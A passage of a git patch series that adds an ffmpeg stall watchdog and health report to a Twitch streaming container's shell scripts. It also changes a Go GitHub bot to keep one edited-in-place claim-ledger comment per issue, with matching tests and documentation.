+WATCHDOG_EVERY="${WATCHDOG_EVERY:-10}" # seconds between progress-file samples +STALL_FRAMES_SECONDS="${STALL_FRAMES_SECONDS:-30}" # restart ffmpeg after this long with no new frames +SLOW_SPEED="${SLOW_SPEED:-0.90}" # restart ffmpeg when speed stays below this… +SLOW_SECONDS="${SLOW_SECONDS:-60}" # …for this long +HEALTH_SAMPLES="${HEALTH_SAMPLES:-20}" # progress samples kept in health.json BACKOFF_MIN=2 BACKOFF_MAX=60 KEYINT=$(( FPS * 2 )) # Twitch wants a 2 s keyframe interval @@ -202,26 +218,35 @@ sink() { esac } # Audio input for ffmpeg: the null sink's monitor, or synthesised silence. -AUDIO_IN=(-f lavfi -i "anullsrc=channel_layout=stereo:sample_rate=44100") -[ "$STREAM_AUDIO" = pulse ] && AUDIO_IN=(-thread_queue_size "$AUDIO_QUEUE_PACKETS" -f pulse -i "${PULSE_SINK_NAME}.monitor") +# Both go through aresample=async=1 so audio PTS is stretched/padded to the +# wallclock video timeline instead of drifting away from it. +AUDIO_IN=(-thread_queue_size "$AUDIO_QUEUE" -f lavfi -i "anullsrc=channel_layout=stereo:sample_rate=44100") +[ "$STREAM_AUDIO" = pulse ] && AUDIO_IN=(-thread_queue_size "$AUDIO_QUEUE" -f pulse -i "${PULSE_SINK_NAME}.monitor") +FFMPEG_PID="$RUN_DIR/ffmpeg.pid" +HEALTH_JSON="$RUN_DIR/health.json" ffmpeg_loop() { - local backoff=$BACKOFF_MIN out limit=() rc=0 + local backoff=$BACKOFF_MIN out limit=() rc=0 fpid out="$(sink)" || exit 1 (( STREAM_SECONDS > 0 )) && limit=(-t "$STREAM_SECONDS") # Give Chromium a moment to paint before the first frame goes out. sleep 5 while :; do local started=$SECONDS - log "ffmpeg starting (${VIDEO_SIZE}@${FPS}, ${BITRATE} CBR, keyint ${KEYINT}, x264 threads ${ENC_THREADS}, video queue ${VIDEO_QUEUE_FRAMES} frames, audio ${STREAM_AUDIO}, sink ${out%%/*}…)" + log "ffmpeg starting (${VIDEO_SIZE}@${FPS}, ${BITRATE} CBR, keyint ${KEYINT}, x264 threads ${ENC_THREADS}, video queue ${VIDEO_QUEUE_FRAMES} frames, audio ${STREAM_AUDIO} queue ${AUDIO_QUEUE}, sink ${out%%/*}…)" # shellcheck disable=SC2086 ffmpeg -nostdin -y -hide_banner -loglevel warning -progress "$PROGRESS" \ - -thread_queue_size "$VIDEO_QUEUE_FRAMES" -f x11grab -framerate "$FPS" -video_size "$VIDEO_SIZE" -draw_mouse 0 -i "$DISPLAY_NUM" \ + -thread_queue_size "$VIDEO_QUEUE_FRAMES" -fflags +genpts -use_wallclock_as_timestamps 1 \ + -f x11grab -framerate "$FPS" -video_size "$VIDEO_SIZE" -draw_mouse 0 -i "$DISPLAY_NUM" \ "${AUDIO_IN[@]}" \ -c:v libx264 -preset "$X264_PRESET" -tune zerolatency -pix_fmt yuv420p -threads "$ENC_THREADS" \ -b:v "$BITRATE" -minrate "$BITRATE" -maxrate "$BITRATE" -bufsize "$BUFSIZE" \ -g "$KEYINT" -keyint_min "$KEYINT" -sc_threshold 0 -r "$FPS" \ - -c:a aac -b:a 128k -ac 2 -ar 44100 -shortest "${limit[@]}" \ - $out > >(sed -u "s#${TWITCH_STREAM_KEY:-__none__}#***#g") 2>&1 && rc=0 || rc=$? + -af aresample=async=1 -c:a aac -b:a 128k -ac 2 -ar 44100 -shortest "${limit[@]}" \ + $out > >(sed -u "s#${TWITCH_STREAM_KEY:-__none__}#***#g") 2>&1 & + fpid=$! + echo "$fpid" > "$FFMPEG_PID" + wait "$fpid" && rc=0 || rc=$? + rm -f "$FFMPEG_PID" if (( STREAM_SECONDS > 0 )); then if (( rc != 0 )); then log "ffmpeg bounded run FAILED (exit $rc)"; exit "$rc"; fi log "ffmpeg finished a ${STREAM_SECONDS}s bounded run"; : > "$RUN_DIR/done"; return @@ -234,6 +259,66 @@ ffmpeg_loop() { ffmpeg_loop & pids+=($!) +# Last value of key= in the tail of the progress file ("" if absent). +progress_val() { { printf '%s\n' "$1" | grep -a "^$2=" | tail -1 | cut -d= -f2 | tr -d ' x'; } || true; } +# health.json: last HEALTH_SAMPLES watchdog samples, last stall, restart count. +# Values are numbers and ISO timestamps only, so no JSON escaping is needed. +write_health() { + local state=$1 last_stall=$2 restarts=$3; shift 3 + local tmp="$HEALTH_JSON.tmp" first=1 s + { + printf '{"updated":"%s","state":"%s","watchdog_restarts":%d,"last_stall":%s,"samples":[' \ + "$(date -u +%FT%TZ)" "$state" "$restarts" "${last_stall:-null}" + for s in "$@"; do + (( first )) || printf ',' + first=0; printf '%s' "$s" + done + printf ']}\n' + } > "$tmp" && mv -f "$tmp" "$HEALTH_JSON" +} +watchdog_loop() { + local prev_frame=-1 stall_since=0 slow_since=0 restarts=0 last_stall="" samples=() + local blk frame fps speed bitrate drop dup now delta slow reason state sample fpid + while :; do + sleep "$WATCHDOG_EVERY" + blk="$(tail -c 4096 "$PROGRESS" 2>/dev/null || true)" + frame=$(progress_val "$blk" frame); now=$(date +%s) + if [ -z "$frame" ]; then prev_frame=-1; stall_since=0; slow_since=0; continue; fi + fps=$(progress_val "$blk" fps); speed=$(progress_val "$blk" speed) + bitrate=$(progress_val "$blk" bitrate); drop=$(progress_val "$blk" drop_frames); dup=$(progress_val "$blk" dup_frames) + # A fresh ffmpeg truncates the progress file, so a smaller frame counter is a restart, not a stall. + (( prev_frame < 0 || frame < prev_frame )) && prev_frame=$frame + delta=$(( frame - prev_frame )); prev_frame=$frame + if (( delta == 0 )); then (( stall_since == 0 )) && stall_since=$now; else stall_since=0; fi + slow=$(awk -v s="${speed:-1}" -v t="$SLOW_SPEED" 'BEGIN { print (s + 0 < t + 0) ? 1 : 0 }') + if (( slow )); then (( slow_since == 0 )) && slow_since=$now; else slow_since=0; fi + sample=$(printf '{"t":"%s","frame":%d,"dframe":%d,"fps":"%s","speed":"%s","bitrate":"%s","drop":"%s","dup":"%s"}' \ + "$(date -u +%FT%TZ)" "$frame" "$delta" "${fps:-?}" "${speed:-?}" "${bitrate:-?}" "${drop:-?}" "${dup:-?}") + samples+=("$sample"); (( ${#samples[@]} > HEALTH_SAMPLES )) && samples=("${samples[@]:1}") + reason=""; state=ok + (( slow_since > 0 && now - slow_since >= SLOW_SECONDS )) && reason="speed ${speed}x < ${SLOW_SPEED}x for $(( now - slow_since ))s" + (( stall_since > 0 && now - stall_since >= STALL_FRAMES_SECONDS )) && reason="no new frames for $(( now - stall_since ))s" + (( slow_since > 0 || stall_since > 0 )) && state=degraded + if [ -n "$reason" ]; then + state=stalled + log "WARN watchdog: ${reason} (frame=${frame} dframe=${delta} fps=${fps:-?} speed=${speed:-?}x bitrate=${bitrate:-?} drop=${drop:-?} dup=${dup:-?})" + fpid=$(cat "$FFMPEG_PID" 2>/dev/null || true) + if [ -n "$fpid" ] && kill -0 "$fpid" 2>/dev/null; then + log "WARN watchdog: restarting ffmpeg (pid ${fpid})" + kill -TERM "$fpid" 2>/dev/null || true + restarts=$(( restarts + 1 )) + else + log "WARN watchdog: ffmpeg is not running; leaving the restart to ffmpeg_loop" + fi + last_stall=$(printf '{"t":"%s","reason":"%s","frame":%d,"speed":"%s"}' "$(date -u +%FT%TZ)" "$reason" "$frame" "${speed:-?}") + stall_since=0; slow_since=0; prev_frame=-1 + fi + write_health "$state" "$last_stall" "$restarts" "${samples[@]}" + done +} +watchdog_loop & +pids+=($!) + wait -n "${pids[@]}" || true if [ -e "$RUN_DIR/done" ]; then log "bounded run complete"; exit 0; fi log "a supervised process left the loop; exiting so the orchestrator restarts the pod" diff --git a/src/deploy/stream/healthcheck.sh b/src/deploy/stream/healthcheck.sh index bb2a16d7fc..aae1017ad3 100755 --- a/src/deploy/stream/healthcheck.sh +++ b/src/deploy/stream/healthcheck.sh @@ -12,4 +12,11 @@ age=$(( $(date +%s) - $(stat -c %Y "$p") )) [ "$age" -le "$STALL_SECONDS" ] || { echo "ffmpeg progress stale (${age}s)"; exit 1; } frames=$(grep -a '^frame=' "$p" | tail -1 | cut -d= -f2) [ "${frames:-0}" -gt 0 ] || { echo "ffmpeg has encoded 0 frames"; exit 1; } -echo "ok frames=${frames} progress_age=${age}s" +# Surface the stall watchdog's verdict (entrypoint.sh writes health.json); +# it is informational β€” the watchdog restarts ffmpeg itself. +h="$RUN_DIR/health.json" +wd="" +if [ -s "$h" ]; then + wd=" watchdog=$(sed -n 's/.*"state":"\([a-z]*\)".*"watchdog_restarts":\([0-9]*\).*/\1 restarts=\2/p' "$h")" +fi +echo "ok frames=${frames} progress_age=${age}s${wd}" From b4fd659889df0653c5b2859050c2f9ea323f9b6a Mon Sep 17 00:00:00 2001 From: Andy Anderson Date: Tue, 3 Nov 2026 12:23:38 -0500 Subject: [PATCH 06/87] =?UTF-8?q?=F0=9F=90=9B=20Edit=20claim=20ledger,=20n?= =?UTF-8?q?eeds-decision=20and=20sentinel=20comments=20in=20place;=20suppr?= =?UTF-8?q?ess=20reviewer-lane=20no-findings=20reviews=20(#16434)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * πŸ› Edit claim ledger, needs-decision and sentinel comments in place; suppress reviewer-lane no-findings reviews Issue-side comment churn (hivecommons/hive#16433): hive:claim/hive:release transitions now maintain one per-issue claim-ledger comment edited in place (github.notifications.claim_ledger, default on) that every existing marker reader still parses; the needs-decision/ready entry comment is rewritten with an Updated line on re-entry; a new push rewrites the hive's existing sentinel comment instead of stamping the PR again; and in quiet mode a reviewer-lane review that narrates "no findings" with an approving, finding-free verdict is recorded and folded into the hive:status comment instead of being submitted. Signed-off-by: Andrew Anderson * πŸ› Fix test literal and adoption read counts for the entry-comment upsert Signed-off-by: Andrew Anderson * πŸ› Teach the claim hook tests the ledger's comment lookup; cover ledger vs legacy mode Signed-off-by: Andrew Anderson * πŸ› Inventory EditIssueMarkerComment as a status passthrough; keep marker openers out of ledger release prose Signed-off-by: Andrew Anderson * 🌱 Cover EditIssueMarkerComment create, edit, no-op and foreign-author paths Signed-off-by: Andrew Anderson --------- Signed-off-by: Andrew Anderson Co-authored-by: hivecommons-hive[bot] <280983584+hivecommons-hive[bot]@users.noreply.github.com> --- .../changed-issue-side-comment-churn.md | 1 + src/cmd/hive/claimswire.go | 69 +++++- src/cmd/hive/claimswire_budget_test.go | 7 +- src/cmd/hive/claimswire_relaunch_test.go | 104 ++++++++ src/docs/notifications.md | 1 + .../sweeps-and-operations.md | 72 +++++- src/pkg/claims/ledger_comment.go | 233 ++++++++++++++++++ src/pkg/claims/ledger_comment_test.go | 185 ++++++++++++++ src/pkg/config/github_notifications.go | 13 + .../dashboard/settings_parity_allowlist.txt | 1 + .../automerge_adoption_orphan_test.go | 11 +- .../github/automerge/automerge_stage_human.go | 43 ++++ .../automerge/automerge_stage_human_test.go | 58 +++++ src/pkg/github/claimed_by_label.go | 32 ++- src/pkg/github/issue_marker_comment.go | 77 ++++++ src/pkg/github/issue_marker_comment_test.go | 88 +++++++ src/pkg/github/notification_write_sites.go | 1 + src/pkg/github/pr_status_comment_test.go | 71 ++++++ src/pkg/github/review_request_watcher.go | 47 +++- src/pkg/github/sentinel_sweep.go | 54 ++-- src/pkg/github/sentinel_sweep_test.go | 19 +- src/pkg/issueclaim/issueclaim.go | 5 + src/pkg/review/no_findings.go | 37 +++ src/pkg/review/no_findings_test.go | 34 ++- src/pkg/stagelabels/human.go | 20 ++ 25 files changed, 1223 insertions(+), 60 deletions(-) create mode 100644 changelog.d/changed-issue-side-comment-churn.md create mode 100644 src/pkg/claims/ledger_comment.go create mode 100644 src/pkg/claims/ledger_comment_test.go create mode 100644 src/pkg/github/issue_marker_comment.go create mode 100644 src/pkg/github/issue_marker_comment_test.go diff --git a/changelog.d/changed-issue-side-comment-churn.md b/changelog.d/changed-issue-side-comment-churn.md new file mode 100644 index 0000000000..cf98be5a10 --- /dev/null +++ b/changelog.d/changed-issue-side-comment-churn.md @@ -0,0 +1 @@ +- Issue-side comment churn is cut by editing in place instead of re-posting ([#16433](https://github.com/hivecommons/hive/issues/16433)): `hive:claim` / `hive:release` transitions now maintain one per-issue claim-ledger comment (``, current state plus the last 8 transitions; `github.notifications.claim_ledger`, default on, `false` restores one comment per transition) that every existing claim reader still parses; a PR re-entering a needs-decision stage has its entry comment rewritten with an `Updated ` line; a new push rewrites the hive's existing `hive-sentinel` comment for the new head; and in quiet mode a reviewer-lane review that narrates "no findings" with an approving, finding-free verdict is recorded and folded into the `hive:status` comment instead of being submitted as a review. diff --git a/src/cmd/hive/claimswire.go b/src/cmd/hive/claimswire.go index 3371a51580..eb5470f22f 100644 --- a/src/cmd/hive/claimswire.go +++ b/src/cmd/hive/claimswire.go @@ -240,6 +240,9 @@ func githubClaimHooks(ctx context.Context, cfg *config.Config, client func() *gi } comment := cfg.Governor.Claims.CommentEnabled() label := cfg.Governor.Claims.LabelEnabled() + // The ledger folds every transition into one edited comment per issue + // (hivecommons/hive#16433); off, each transition is its own comment. + ledgerMode := cfg.GitHub.Notifications.ClaimLedgerEnabled() queue := &claimEffectQueue{} attempt := func(fn func(ctx context.Context, gh *github.Client) error, gh *github.Client) error { cctx, cancel := context.WithTimeout(ctx, claimsGitHubTimeout) @@ -265,13 +268,44 @@ func githubClaimHooks(ctx context.Context, cfg *config.Config, client func() *gi logger.Warn("issue-claims: GitHub side effect failed", "what", what, "issue", c.Key(), "attempts", 1, "error", err) } } + // ledger edits the issue's claim ledger comment for event, posting the + // one notifying comment a human owed one gets. The edit is retried: a + // PATCH that lands twice is the same body, unlike a POST. + ledger := func(what string, event claims.LedgerEvent, notice func(previous string) string) { + run(what, event.Claim, func(ctx context.Context, gh *github.Client) error { + res, err := gh.EditIssueMarkerComment(ctx, event.Claim.Repo, event.Claim.Issue, claims.LedgerMarker, func(previous string) string { + return claims.LedgerComment(previous, event) + }) + if err != nil { + return err + } + if notice == nil || !res.Found { + // A freshly created ledger already notified: it carries the + // same @-mention the standalone comment did. + return nil + } + if body := notice(res.Previous); body != "" { + return gh.CreateIssueCommentBudgeted(ctx, event.Claim.Repo, event.Claim.Issue, body) + } + return nil + }) + } return claims.Hooks{ OnClaimed: func(c claims.Claim, outcome claims.Outcome) { queue.run(c.Key(), func() { if comment && outcome == claims.OutcomeClaimed { - runOnce("claim comment", c, func(ctx context.Context, gh *github.Client) error { - return gh.CreateIssueCommentBudgeted(ctx, c.Repo, c.Issue, claims.ClaimComment(c)) - }) + if ledgerMode { + ledger("claim ledger", claims.LedgerEvent{Claim: c, At: c.ClaimedAt}, func(previous string) string { + if claims.LedgerNotifiesHuman(previous, c) { + return claims.LedgerNoticeComment(c) + } + return "" + }) + } else { + runOnce("claim comment", c, func(ctx context.Context, gh *github.Client) error { + return gh.CreateIssueCommentBudgeted(ctx, c.Repo, c.Issue, claims.ClaimComment(c)) + }) + } } if label { // The stage is a fact for the engine (ADR-0025): a live @@ -296,9 +330,17 @@ func githubClaimHooks(ctx context.Context, cfg *config.Config, client func() *gi OnTakenOver: func(now, previous claims.Claim) { queue.run(now.Key(), func() { if comment { - runOnce("takeover comment", now, func(ctx context.Context, gh *github.Client) error { - return gh.CreateIssueComment(ctx, now.Repo, now.Issue, claims.TakeoverComment(now, previous)) - }) + if ledgerMode { + ledger("takeover ledger", claims.LedgerEvent{Claim: now, Previous: previous, At: now.ClaimedAt}, func(string) string { + // The displaced person must hear it; an edit + // tells them nothing. + return claims.LedgerDisplacedNotice(now, previous) + }) + } else { + runOnce("takeover comment", now, func(ctx context.Context, gh *github.Client) error { + return gh.CreateIssueComment(ctx, now.Repo, now.Issue, claims.TakeoverComment(now, previous)) + }) + } } if label { run("claimed stage", now, func(ctx context.Context, gh *github.Client) error { @@ -345,8 +387,9 @@ func githubClaimHooks(ctx context.Context, cfg *config.Config, client func() *gi }) } // Every early release needs a marker: the πŸ”’ comment is - // never edited, and issueclaim.Latest otherwise reads the - // hold as live until until=. This includes relay disconnect, + // never edited (the ledger rewrites it to carry the release + // marker instead), and issueclaim.Latest otherwise reads + // the hold as live until until=. This includes relay disconnect, // revoke and lease-expiry releases: omitting them starved // hive agents while relays flapped (hivecommons/hive#13579). // TTL expiry needs no marker: until= has already lapsed. @@ -356,9 +399,13 @@ func githubClaimHooks(ctx context.Context, cfg *config.Config, client func() *gi // SetIssueClaimLedgerHive still prevents this hive from // believing its own stale hold. if comment && reason != claims.ReasonExpired { - runOnce("release comment", c, func(ctx context.Context, gh *github.Client) error { - return gh.CreateIssueCommentBudgeted(ctx, c.Repo, c.Issue, claims.ReleaseComment(c, reason)) - }) + if ledgerMode { + ledger("release ledger", claims.LedgerEvent{Claim: c, Released: true, Reason: reason, At: time.Now()}, nil) + } else { + runOnce("release comment", c, func(ctx context.Context, gh *github.Client) error { + return gh.CreateIssueCommentBudgeted(ctx, c.Repo, c.Issue, claims.ReleaseComment(c, reason)) + }) + } } }) }, diff --git a/src/cmd/hive/claimswire_budget_test.go b/src/cmd/hive/claimswire_budget_test.go index 5ea53c8100..9330810ad8 100644 --- a/src/cmd/hive/claimswire_budget_test.go +++ b/src/cmd/hive/claimswire_budget_test.go @@ -27,6 +27,11 @@ func TestClaimHooks_LeaseRevokedSharesClaimCommentBudget(t *testing.T) { t.Run(name, func(t *testing.T) { posted := make(chan string, 1) srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + if r.Method == http.MethodGet && r.URL.Path == "/repos/acme/widgets/issues/7/comments" { + // The claim ledger looks for its comment before writing. + _, _ = w.Write([]byte(`[]`)) + return + } if r.Method != http.MethodPost || r.URL.Path != "/repos/acme/widgets/issues/7/comments" { t.Errorf("unexpected request: %s %s", r.Method, r.URL.Path) http.NotFound(w, r) @@ -77,7 +82,7 @@ func TestClaimHooks_LeaseRevokedSharesClaimCommentBudget(t *testing.T) { t.Fatalf("missing lease release marker: %s", body) } case message := <-failed: - if !exhausted || !strings.Contains(message, github.ErrIssueCommentBudget.Error()) || !strings.Contains(message, "release comment") { + if !exhausted || !strings.Contains(message, github.ErrIssueCommentBudget.Error()) || !strings.Contains(message, "release ledger") { t.Fatalf("unexpected hook failure: %s", message) } case <-time.After(5 * time.Second): diff --git a/src/cmd/hive/claimswire_relaunch_test.go b/src/cmd/hive/claimswire_relaunch_test.go index 253ac6e3fb..033c92ac7e 100644 --- a/src/cmd/hive/claimswire_relaunch_test.go +++ b/src/cmd/hive/claimswire_relaunch_test.go @@ -2,6 +2,7 @@ package main import ( "context" + "encoding/json" "io" "log/slog" "net/http" @@ -89,6 +90,11 @@ func TestClaimHooks_RelaunchReleasePostsReleaseMarker(t *testing.T) { _, _ = w.Write([]byte(`{"number":7,"labels":[{"name":"stage/020-claimed"},{"name":"hive/claimed-by-scanner"}]}`)) }) mux.HandleFunc("/repos/acme/widgets/issues/7/comments", func(w http.ResponseWriter, r *http.Request) { + if r.Method == http.MethodGet { + // The claim ledger looks for its comment before writing. + _, _ = w.Write([]byte(`[]`)) + return + } body, _ := io.ReadAll(r.Body) mu.Lock() comments = append(comments, string(body)) @@ -125,3 +131,101 @@ func TestClaimHooks_RelaunchReleasePostsReleaseMarker(t *testing.T) { t.Fatalf("release comment:\n%s", got[0]) } } + +// With the claim ledger on (the default), an issue's claim, release and +// re-claim are one comment: the first claim creates it, every later +// transition PATCHes it, and the body always carries exactly one machine +// marker β€” the current state β€” above the history (hivecommons/hive#16433). +// With the ledger off, each transition is its own comment as before. +func TestClaimHooks_ClaimLedgerEditsOneCommentPerIssue(t *testing.T) { + for _, ledgerOn := range []bool{true, false} { + name := "ledger" + if !ledgerOn { + name = "legacy" + } + t.Run(name, func(t *testing.T) { + var mu sync.Mutex + var posted, edited []string + var existing []byte + mux := http.NewServeMux() + mux.HandleFunc("/repos/acme/widgets/issues/7/comments", func(w http.ResponseWriter, r *http.Request) { + mu.Lock() + defer mu.Unlock() + if r.Method == http.MethodGet { + if existing == nil { + _, _ = w.Write([]byte(`[]`)) + return + } + _, _ = w.Write([]byte(`[{"id":41,"body":` + string(existing) + `,"user":{"login":"hive[bot]"}}]`)) + return + } + var body struct { + Body string `json:"body"` + } + _ = json.NewDecoder(r.Body).Decode(&body) + posted = append(posted, body.Body) + existing, _ = json.Marshal(body.Body) + w.WriteHeader(http.StatusCreated) + _, _ = w.Write([]byte(`{"id":41}`)) + }) + mux.HandleFunc("/repos/acme/widgets/issues/comments/41", func(w http.ResponseWriter, r *http.Request) { + var body struct { + Body string `json:"body"` + } + _ = json.NewDecoder(r.Body).Decode(&body) + mu.Lock() + edited = append(edited, body.Body) + existing, _ = json.Marshal(body.Body) + mu.Unlock() + _, _ = w.Write([]byte(`{"id":41}`)) + }) + mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { _, _ = w.Write([]byte(`[]`)) }) + srv := httptest.NewServer(mux) + defer srv.Close() + gh := github.NewClientForTest(srv.URL, "acme", []string{"widgets"}, slog.New(slog.NewTextHandler(io.Discard, nil))) + gh.SetAppBotLogin("hive[bot]") + cfg := &config.Config{} + cfg.Governor.Claims.Label = boolPtr(false) + cfg.Governor.Claims.Comment = boolPtr(true) + cfg.GitHub.Notifications.ClaimLedger = boolPtr(ledgerOn) + hooks := githubClaimHooks(context.Background(), cfg, func() *github.Client { return gh }, nil) + at := time.Date(2026, 11, 3, 9, 0, 0, 0, time.UTC) + claim := claims.Claim{Repo: "acme/widgets", Issue: 7, Holder: "scanner", HolderID: "scanner", Kind: claims.KindAgent, ClaimedAt: at, ExpiresAt: at.Add(time.Hour)} + + hooks.OnClaimed(claim, claims.OutcomeClaimed) + hooks.OnReleased(claim, claims.ReasonHolderRelaunched) + claim.ClaimedAt = at.Add(2 * time.Minute) + hooks.OnClaimed(claim, claims.OutcomeClaimed) + wantPosted, wantEdited := 1, 2 + if !ledgerOn { + wantPosted, wantEdited = 3, 0 + } + testutil.Eventually(t, 5*time.Second, func() bool { + mu.Lock() + defer mu.Unlock() + return len(posted) == wantPosted && len(edited) == wantEdited + }, "claim transitions never settled") + mu.Lock() + defer mu.Unlock() + if len(posted) != wantPosted || len(edited) != wantEdited { + t.Fatalf("posted=%d edited=%d, want %d/%d", len(posted), len(edited), wantPosted, wantEdited) + } + if !ledgerOn { + return + } + if !strings.HasPrefix(posted[0], claims.LedgerMarker) || !strings.Contains(posted[0], "` and the + other stage entry markers): a PR that re-enters the stage after a decision + cycle has its existing entry comment rewritten, with an `Updated ` + line, instead of receiving a new one. Only the hive's own comment is + reused; a stranger's comment carrying the marker is ignored. +- **Sentinel alert** (` `): a new push rewrites + the hive's existing sentinel comment for the new head rather than + stamping the PR again. The label is what blocks; one explanation per PR + is enough. A hive that cannot verify its own account (no App login and + no resolvable identity) still posts a fresh comment rather than edit a + comment the PR author may have forged. +- **Claim ledger** (`github.notifications.claim_ledger`, default `true`): + see below. + +### Claim ledger (`github.notifications.claim_ledger`) + +**Why:** every `hive:claim` and `hive:release` the fleet posted was a new +comment, and a relaunch or lease revocation appends a release+claim pair +each time. Over 48 hours that was 334 comments β€” a quarter of everything +the hive wrote β€” on issues whose holder, as far as a reader cared, had not +changed. + +```yaml +github: + notifications: + claim_ledger: true # default; false restores one comment per claim/release +``` + +With the ledger on, an issue carries **one** claim comment marked +`` that is PATCHed on every transition. It +shows the current state β€” the same `hive:claim` / `hive:release` / +`hive:preempt` machine marker and text the separate comments carried β€” and +a collapsed `Claim history` list of the last 8 transitions (timestamp, +agent, kind, release reason). The first claim on an issue creates the +comment; later claims, takeovers and releases edit it, and only the +creation sends email. + +The ledger is written so that every reader of the old comments keeps +working without change: it carries exactly one machine marker, for the +current state, so `issueclaim.Latest` (claim recovery after a restart, the +`claimed-by` label sweep, the contributor lane's "is it free" check and the +dashboard's claims view) reads the ledger the way it read the newest +separate comment. A legacy claim comment on the same issue is superseded +by the ledger's later `at=` the same way a later comment superseded it. + +A human is still told, in a fresh comment, the two things only a new +comment can tell them: that an agent took over an issue they held, and +that they displaced an agent (so they know to drop the `claimed-by` label +when done). Everything else goes into the ledger. + `github.notifications.shadow: true` (default off) adds would-notify instrumentation without changing any write: every new comment, review, review request and @-mention is classified by producer and class, repeats of diff --git a/src/pkg/claims/ledger_comment.go b/src/pkg/claims/ledger_comment.go new file mode 100644 index 0000000000..daf45567db --- /dev/null +++ b/src/pkg/claims/ledger_comment.go @@ -0,0 +1,233 @@ +package claims + +import ( + "fmt" + "regexp" + "strings" + "time" +) + +// The claim ledger is the one comment per issue that records who holds it. +// Before it existed every claim, takeover and release was its own comment, +// and a relaunch/revoke cycle appended a fresh release+claim pair each time +// (334 comments in 48h, a quarter of the hive's output). The ledger is +// edited in place instead: editing notifies nobody, while the facts stay on +// the issue. +// +// Compatibility with marker readers (pkg/issueclaim.Latest, the dashboard's +// contribute claims view, the contributor lane) rests on two rules: +// +// - the ledger body carries EXACTLY ONE machine-readable marker for the +// current state β€” a `hive:claim` marker while held, a `hive:release` +// marker once released β€” so a reader that scans comment bodies sees the +// same thing it saw when each transition was its own comment; +// - the history lines never contain a marker prefix, and LedgerMarker +// itself does not start with `" + // LedgerHistoryLimit is how many transitions the ledger keeps. + LedgerHistoryLimit = 8 + + ledgerHistoryOpen = "
Claim history" + ledgerHistoryClose = "
" + ledgerLinePrefix = "- " +) + +// LedgerEvent is one transition the ledger records. +type LedgerEvent struct { + // Claim is the claim the event concerns: the new holder for a claim or + // takeover, the released holder for a release. + Claim Claim + // Previous is the displaced holder on a takeover; zero otherwise. + Previous Claim + // Released is set for a release; Reason is its reason. + Released bool + Reason string + // At is when the transition happened. + At time.Time +} + +// LedgerComment renders the ledger body after event, given the body of the +// existing ledger comment (empty when the issue has none yet). The current +// state is rendered exactly as the standalone claim / takeover / release +// comment used to be, so the marker a reader finds is unchanged; the history +// below it keeps the last LedgerHistoryLimit transitions, oldest first. +func LedgerComment(previous string, event LedgerEvent) string { + if event.At.IsZero() { + event.At = time.Now() + } + history := ParseLedgerHistory(previous) + history = append(history, ledgerHistoryLine(event)) + if len(history) > LedgerHistoryLimit { + history = history[len(history)-LedgerHistoryLimit:] + } + var b strings.Builder + b.WriteString(LedgerMarker) + b.WriteString("\n") + switch { + case event.Released: + // The release prose quotes the reason verbatim; a reason that smuggles + // a marker opener in would hand the ledger a second machine marker. + b.WriteString(releaseCommentAt(event.Claim, strings.ReplaceAll(event.Reason, "", At: t0.Add(time.Minute)}) + if n := strings.Count(body, issueclaim.MarkerPrefix); n != 0 { + t.Fatalf("history must not carry a claim marker prefix: %q", body) + } + now := ledgerTestClaim("alice", KindHuman, t0.Add(2*time.Minute)) + body = LedgerComment(body, LedgerEvent{Claim: now, Previous: prev, At: now.ClaimedAt}) + if !strings.Contains(body, "`) that every claim, takeover and + // release edits in place, instead of posting a fresh `hive:claim` / + // `hive:release` comment per transition (hivecommons/hive#16433). A + // human holder the ledger has not named before still gets one notifying + // comment. Default on; `claim_ledger: false` restores a comment per + // transition. + ClaimLedger *bool `yaml:"claim_ledger,omitempty" json:"claim_ledger,omitempty"` +} + +// ClaimLedgerEnabled resolves ClaimLedger with its default (on). +func (c GitHubNotificationsConfig) ClaimLedgerEnabled() bool { + return c.ClaimLedger == nil || *c.ClaimLedger } // Quiet reports whether the hive should fold its PR notes into one edited diff --git a/src/pkg/dashboard/settings_parity_allowlist.txt b/src/pkg/dashboard/settings_parity_allowlist.txt index c88a5414ed..499677130e 100644 --- a/src/pkg/dashboard/settings_parity_allowlist.txt +++ b/src/pkg/dashboard/settings_parity_allowlist.txt @@ -202,6 +202,7 @@ github.attention.flap_window # single-admitter ownership and flap window are YAM github.attention.recipient_budget # per-recipient attention budget, off by default; yaml-only, see docs/notifications.md (#16271) github.attention.reminder_interval # attention-pilot reminder interval; yaml-only, see src/docs/attention-episodes.md (#16361) github.notifications.attention_pilot # opt-in attention-pilot issue status card; yaml-only, see docs/notifications.md (#16358) +github.notifications.claim_ledger # one per-issue claim-ledger comment edited in place; yaml-only, see operator-reference (#16433) github.notifications.mode # quiet|normal PR notification mode; yaml-only, see operator-reference.md github.shared_uid_read_token # shared-UID App read-token opt-in; yaml-only, restart required (#14778) good_first_issue.exclude_labels[] # advanced scorer tuning; yaml-only (#12185) diff --git a/src/pkg/github/automerge/automerge_adoption_orphan_test.go b/src/pkg/github/automerge/automerge_adoption_orphan_test.go index e0372e74bd..db283293db 100644 --- a/src/pkg/github/automerge/automerge_adoption_orphan_test.go +++ b/src/pkg/github/automerge/automerge_adoption_orphan_test.go @@ -239,7 +239,9 @@ func TestAdoptionMarkerWithClosedCopyReadopts(t *testing.T) { h.adopt.superseders[89] = map[string]any{"number": 89, "state": "closed", "merged": false} h.adopt.mu.Unlock() res := observe() - if h.adopt.commentReads != 1 { + // One read for the marker scan, one for the 085 entry-comment upsert + // (hivecommons/hive#16433) that precedes posting the entry. + if h.adopt.commentReads != 2 { t.Fatalf("comment reads = %d", h.adopt.commentReads) } if len(h.adopt.pulls) != 1 || len(h.adopt.prEdits) != 0 { @@ -261,7 +263,7 @@ func TestAdoptionMarkerWithClosedCopyReadopts(t *testing.T) { if added := h.addedLabels(); len(added) != 1 || added[0] != "stage/074-adopted-by-hive" { t.Fatalf("074 after marker recovery: added=%v removed=%v", h.api.added, h.api.removed) } - if h.adopt.commentReads != 1 { + if h.adopt.commentReads != 2 { t.Fatalf("comments re-read: %d", h.adopt.commentReads) } } @@ -320,7 +322,10 @@ func TestAdoptionMarkerSettledOrAbsentIsNotRecovered(t *testing.T) { h.adopt.mu.Unlock() observe() observe() - if len(h.adopt.pulls) != 0 || h.adopt.commentReads != 1 { + // The marker scan reads once per head; the 085 entry-comment upsert + // reads once more before the entry is posted, and not again for the + // same head and cause (hivecommons/hive#16433). + if len(h.adopt.pulls) != 0 || 